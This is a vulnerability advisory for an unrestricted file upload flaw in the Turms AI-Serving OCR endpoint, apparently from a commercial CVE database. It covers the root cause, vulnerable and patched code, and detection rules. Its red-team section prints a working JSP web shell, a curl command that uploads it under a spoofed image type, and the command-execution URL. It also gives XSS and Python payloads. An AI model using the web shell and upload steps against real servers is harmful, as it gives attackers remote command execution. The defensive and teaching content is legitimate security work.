CVE-2025-66908
Executive Summary
CVE-2025-66908 is a critical Improper File Type Validation vulnerability (CWE-434) in the Turms AI-Serving module, specifically within the OCR image upload functionality. The vulnerability resides in OcrController.java, where the @FormData(contentType = MediaTypeConst.IMAGE) annotation is intended to restrict uploads to image files. However, this constraint is not enforced at the server level. The system relies solely on client-provided Content-Type headers and file extensions without validating the actual file content using magic bytes (file signatures). This allows an attacker to upload arbitrary file types, including executables, scripts, HTML, or web shells, by simply setting the Content-Type header to image/* or using an image file extension. Successful exploitation can lead to Remote Code Execution (RCE), Stored Cross-Site Scripting (XSS), or Information Disclosure, depending on how the uploaded files are processed and served. The vulnerability affects Turms AI-Serving module version 0.10.0-SNAPSHOT and earlier. No official patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the Turms Java application. The risk is amplified if the application is deployed in a containerized environment (e.g., Docker) where the uploaded file could be executed within the container, potentially leading to container escape or lateral movement.
CVSS Breakdown & Threat Level
CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
- User Interaction (UI): None – The attacker does not need to trick a legitimate user into performing any action.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – An attacker can read arbitrary files from the server.
- Integrity (I): High – An attacker can modify or delete files on the server.
- Availability (A): High – An attacker can cause a denial of service or execute code that crashes the server.
Threat Level: Critical. The vulnerability is trivial to exploit and can lead to full server compromise.
Deep Dive & Mechanics
The vulnerability is a classic Unrestricted File Upload flaw. The OcrController endpoint is designed to accept image files for OCR processing. The developer attempted to restrict the upload using the @FormData(contentType = MediaTypeConst.IMAGE) annotation. However, this annotation only checks the Content-Type header sent by the client, which is trivially spoofed.
Root Cause:
The application does not perform server-side validation of the uploaded file's content. Specifically, it does not check the file's magic bytes (also known as file signatures). Magic bytes are the first few bytes of a file that uniquely identify its type (e.g., FF D8 FF for JPEG, 89 50 4E 47 for PNG). By relying solely on the client-provided Content-Type header and file extension, the application is vulnerable to file type spoofing.
Attack Flow:
- Reconnaissance: The attacker identifies the OCR upload endpoint (e.g.,
/ocr/upload). - Crafting the Payload: The attacker creates a malicious file, such as a JSP web shell or a Python script, and renames it with an image extension (e.g.,
shell.jsp->shell.jsp.jpg). - Bypassing the Filter: The attacker sends a POST request to the upload endpoint with the malicious file. The request includes a
Content-Type: image/jpegheader. - Upload: The server accepts the file because the
Content-Typeheader matches the expected value. The file is stored on the server's filesystem. - Execution: If the server is configured to execute files in the upload directory (e.g., a servlet container executing JSP files), the attacker can access the uploaded file via a web browser, triggering code execution.
Why it works:
- The
@FormDataannotation in the Turms framework (likely based on JAX-RS or similar) only validates theContent-Typeheader, not the actual file content. - The server does not perform any additional validation (e.g., using a library like Apache Tika to detect the true MIME type).
Vulnerable vs. Patched Code
Vulnerable Code (OcrController.java):
// Vulnerable: Only checks Content-Type header
@POST
@Path("/ocr/upload")
@Consumes(MediaType.MULTIPART_FORM_DATA)
public Response uploadImage(@FormData("file") @FormData(contentType = MediaTypeConst.IMAGE) File file) {
// Process the file for OCR
// No magic byte validation
return Response.ok().build();
}
Patched Code (Hypothetical):
// Patched: Validates magic bytes
@POST
@Path("/ocr/upload")
@Consumes(MediaType.MULTIPART_FORM_DATA)
public Response uploadImage(@FormData("file") @FormData(contentType = MediaTypeConst.IMAGE) File file) {
// Validate magic bytes
if (!isValidImage(file)) {
return Response.status(Response.Status.BAD_REQUEST).entity("Invalid image file").build();
}
// Process the file for OCR
return Response.ok().build();
}
private boolean isValidImage(File file) {
try (InputStream is = new FileInputStream(file)) {
byte[] magicBytes = new byte[4];
is.read(magicBytes);
// Check for JPEG, PNG, GIF, etc.
return (magicBytes[0] == (byte)0xFF && magicBytes[1] == (byte)0xD8) || // JPEG
(magicBytes[0] == (byte)0x89 && magicBytes[1] == (byte)0x50 && magicBytes[2] == (byte)0x4E && magicBytes[3] == (byte)0x47) || // PNG
(magicBytes[0] == (byte)0x47 && magicBytes[1] == (byte)0x49 && magicBytes[2] == (byte)0x46); // GIF
} catch (IOException e) {
return false;
}
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Turms AI-Serving module v0.10.0-SNAPSHOT or earlier.
- Access to the OCR upload endpoint (e.g.,
http://target:8080/ocr/upload).
Exploitation Steps:
Create a Malicious JSP Web Shell:
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>Save this as
shell.jsp.Rename the File: Rename
shell.jsptoshell.jsp.jpgto bypass the extension check.Upload the File using cURL:
curl -X POST -F "file=@shell.jsp.jpg;type=image/jpeg" http://target:8080/ocr/uploadAccess the Web Shell: Determine the upload path (e.g.,
/uploads/shell.jsp.jpg). Access it via a web browser:http://target:8080/uploads/shell.jsp.jpg?cmd=idThe server will execute the JSP code and return the output of the
idcommand.
Alternative Payloads:
- Python Script (if server executes Python):
import os os.system("id") - HTML with JavaScript (for Stored XSS):
<script>alert('XSS')</script>
Blue Team
Detection and Response:
Monitor Upload Endpoints:
- Look for requests to
/ocr/uploadwith unusualContent-Typeheaders (e.g.,image/jpegbut the file extension is.jspor.exe). - Monitor for multiple upload attempts from the same IP address.
- Look for requests to
Analyze Uploaded Files:
- Implement a scheduled task to scan the upload directory for files that do not have valid image magic bytes.
- Use a file integrity monitoring (FIM) tool to detect new files in the upload directory.
Web Application Firewall (WAF) Rules:
- Block requests where the
Content-Typeheader does not match the file extension. - Block requests containing suspicious file extensions (e.g.,
.jsp,.exe,.php) in the upload field.
- Block requests where the
Honeypot:
- Deploy a fake upload endpoint that logs all attempts and alerts the security team.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/ocr/uploadwithContent-Type: image/*but containing non-image data. - Requests to uploaded files with query parameters like
?cmd=or?exec=.
File System IOCs:
- Files in the upload directory with image extensions (
.jpg,.png,.gif) but containing executable code (e.g., JSP, PHP, Python). - Files with double extensions (e.g.,
shell.jsp.jpg).
Log IOCs:
- Server logs showing successful uploads of files with suspicious extensions.
- Error logs indicating failed attempts to execute uploaded files.
Detection Engineering
YARA Rule
rule CVE_2025_66908_Uploaded_Malicious_File {
meta:
description = "Detects files uploaded via CVE-2025-66908 that have image extensions but contain executable code"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66908"
strings:
$jsp_marker = "<%" nocase
$php_marker = "<?php" nocase
$python_marker = "import os" nocase
$shell_marker = "#!/bin/" nocase
$exe_marker = "MZ" // Windows executable magic bytes
condition:
(uint32(0) != 0xFFD8FFE0 and // Not JPEG
uint32(0) != 0x89504E47 and // Not PNG
uint32(0) != 0x47494638) and // Not GIF
any of ($jsp_marker, $php_marker, $python_marker, $shell_marker, $exe_marker)
}
Sigma Rule
title: CVE-2025-66908 - Suspicious File Upload to Turms OCR Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to the Turms OCR upload endpoint with suspicious file extensions or Content-Type mismatches.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: POST
cs-uri-stem: /ocr/upload
filter:
cs-uri-query|contains:
- '.jsp'
- '.php'
- '.exe'
- '.py'
- '.sh'
condition: selection and filter
falsepositives:
- Legitimate file uploads with unusual extensions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66908 - Suspicious File Upload to Turms OCR Endpoint"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/ocr/upload"; http.request_body; content:"filename="; pcre:"/\.(jsp|php|exe|py|sh)\"/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the OCR Upload Endpoint: If the OCR functionality is not critical, disable the endpoint immediately.
- Implement Magic Byte Validation: Modify the
OcrControllerto validate the uploaded file's magic bytes before processing. Use a library like Apache Tika for robust MIME type detection. - Restrict Upload Directory Permissions: Ensure the upload directory is not executable. For example, in Apache, use
RemoveHandlerto prevent execution of scripts in the upload directory. - Use a Web Application Firewall (WAF): Deploy a WAF to block requests with mismatched
Content-Typeheaders and suspicious file extensions.
Long-Term Fixes:
- Apply the Official Patch: Monitor the Turms project for an official patch and apply it as soon as it is released.
- Code Review: Conduct a thorough code review of all file upload functionality in the application.
- Security Training: Educate developers on secure file upload practices, including server-side validation and the use of magic bytes.
Workarounds:
- If patching is not immediately possible, implement a reverse proxy (e.g., Nginx) to inspect and reject malicious uploads before they reach the application.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.